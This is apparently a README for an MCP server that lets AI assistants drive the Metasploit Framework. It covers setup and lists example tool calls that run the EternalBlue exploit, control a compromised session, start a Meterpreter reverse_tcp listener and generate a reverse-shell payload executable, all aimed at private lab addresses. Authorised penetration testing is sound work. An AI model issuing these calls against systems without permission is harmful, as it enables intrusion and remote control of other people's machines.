A Model Context Protocol (MCP) server for Metasploit Framework integration.
This MCP server provides a bridge between large language models like Claude and the Metasploit Framework penetration testing platform. It allows AI assistants to dynamically access and control Metasploit functionality through standardized tools, enabling a natural language interface to complex security testing workflows.
pip install -r requirements.txt
MSF_PASSWORD=yourpassword
MSF_SERVER=127.0.0.1
MSF_PORT=55553
MSF_SSL=false
PAYLOAD_SAVE_DIR=/path/to/save/payloads # Optional: Where to save generated payloads
Start the Metasploit RPC service:
msfrpcd -P yourpassword -S -a 127.0.0.1 -p 55553
For Claude Desktop integration, configure claude_desktop_config.json
:
{
"mcpServers": {
"metasploit": {
"command": "uv",
"args": [
"--directory",
"C:\\path\\to\\MetasploitMCP",
"run",
"MetasploitMCP.py"
],
"env": {
"MSF_PASSWORD": "yourpassword"
}
}
}
}
⚠️ IMPORTANT SECURITY WARNING:
This tool provides direct access to Metasploit Framework capabilities, which include powerful exploitation features. Use responsibly and only in environments where you have explicit permission to perform security testing.
list_exploits("ms17_010")
run_exploit("exploit/windows/smb/ms17_010_eternalblue", "192.168.1.100", 445)
list_active_sessions()
send_session_command(1, "whoami")
get_system_info(1)
list_processes(1)
migrate_process(1, 1234)
filesystem_list(1, "C:\\Users")
start_listener("windows/meterpreter/reverse_tcp", "192.168.1.10", 4444)
list_listeners()
generate_payload("windows/meterpreter/reverse_tcp", "exe", {"LHOST": "192.168.1.10", "LPORT": 4444})
stop_job(1)
By default, payloads generated with generate_payload
are saved to a payloads
directory in your home folder (~/payloads
or C:\Users\YourUsername\payloads
). You can customize this location by setting the PAYLOAD_SAVE_DIR
environment variable.
Setting the environment variable:
Windows (PowerShell):
$env:PAYLOAD_SAVE_DIR = "C:\custom\path\to\payloads"
Windows (Command Prompt):
set PAYLOAD_SAVE_DIR=C:\custom\path\to\payloads
Linux/macOS:
export PAYLOAD_SAVE_DIR=/custom/path/to/payloads
In Claude Desktop config:
"env": {
"MSF_PASSWORD": "yourpassword",
"PAYLOAD_SAVE_DIR": "C:\\your\\actual\\path\\to\\payloads" // Only add if you want to override the default
}
Note: If you specify a custom path, make sure it exists or the application has permission to create it. If the path is invalid, payload generation might fail.
Apache 2.0
Seamless access to top MCP servers powering the future of AI integration.